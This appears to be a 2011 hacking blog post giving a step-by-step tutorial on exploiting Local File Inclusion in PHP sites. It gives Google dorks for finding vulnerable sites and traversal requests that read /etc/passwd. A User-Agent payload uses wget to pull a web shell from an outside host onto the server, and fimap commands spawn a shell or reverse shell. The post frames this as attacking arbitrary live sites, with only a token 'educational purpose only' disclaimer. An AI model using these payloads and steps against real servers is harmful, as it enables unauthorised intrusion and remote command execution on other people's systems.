Tuesday, October 18, 2011

LFI (Local File Inclusion)


LFI bounce using chunked transfer encoding


Local File Inclusion (also known as LFI) is the process of including files on a server through the web browser. This vulnerability occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.
The vuln. Code looks like :

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("pages/$file");
   }
   else
   ……….
    ……..       
   ?>

Here from the code you can observe that its taking or including the file from locally.
To get LFI vuln sites use dork like :: inurl:php?id=*.php
The “ *.php” means that any file name with extension .php
Ex: inrul:php?page=contact.php, contactus.ph etc.
Or inurl:.php?file=somefile.php
(* im not Responsible for any of the actions for what you do , Just Educational purpose only)
There are two ways : Manual and automated.

MANUAL way for LFI:

proc/self/environ method:

 check for vuln site same as above

then:

Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :

http://www.website.com/view.php?page=../etc/passwd

we got error and no etc/passwd file.

*so we go more directories up

http://www.website.com/view.php?page=../../etc/passwd

If you get like:


 we succesfully included the etc/passwd file.

The check for /proc/self/environ (in place of /etc/passwd) we get message like :

The we need Tamper data addon on firefox :

Choose Tamper and in User-Agent filed write the following code :

<?system('wget http://site.com/shel.txt -O shel.php');?>

Then submit the request.

(*here shel.txt must contain the shel code where we are getting from other site using wget command*)

Tada !. shel uploaded. J

Warning: I am not responsible for your actions , please be careful.this is for educational purpose only.
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Automated:

now remove the file name in the url and replace with “ ../ “ (without quotes)
if you get error like ::

Warning: include_once(../) [function.include-once]: failed to open stream: Inappropriate ioctl for device in /home/sitname /public_html/index.php on line 10

Warning: include_once() [function.include]: Failed opening '../' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in/home/sitename/public_html/index.php on line 10


It is vulnerable to LFI


Now to attack :
You need a python script called “ fimap “ which can be downloaded from google
U need python installed to execute it.

Open cmd prompt goto the folder where fimap.py script is present and type ::
 “ fimap.py –u www.site.com/file.php?page=file.php

( -u :-  option for scan if vuln exists or not)

It tests for injecting a file where it is vulnerable : looks like this



Here from the above pic u can see at the bottom with : “ [1] /proc/self/environ “
0    (0- Clean/readable , 1- writable)

Now to exploit :: type:

fimap.py –x www.site.com/file.php?page=file.php “

 (-x : to exploit ; -u : scan for vuln).

Now you will find like this :



Choose domain , well here u need to choose a number here my option is “9” ,the thing here is the fimap stores the history of successful exploiting . so choose number corresponding to the domain which u have scanned.
After that it asks for options again to choose type vuln script (choose the number ,if there is only one script the type 1).

Then again it asks for type of available attacks : they are:

1.spawn fimap shell

2.pentest monkey reverse shell

Select option 1.

It will successfully inject

Tada !  you get the command prompt of the host.

( as for pentest monkey shell ,you need netcat and an open port to get the connection back.)
Warning: I am not responsible for your actions , please be careful.this is for educational purpose only.
You hardly find LFI vuln sites ,you need work ur ass off to get the sites.mostly you find 2 or 3 out of hundereds which is better than RFI result.
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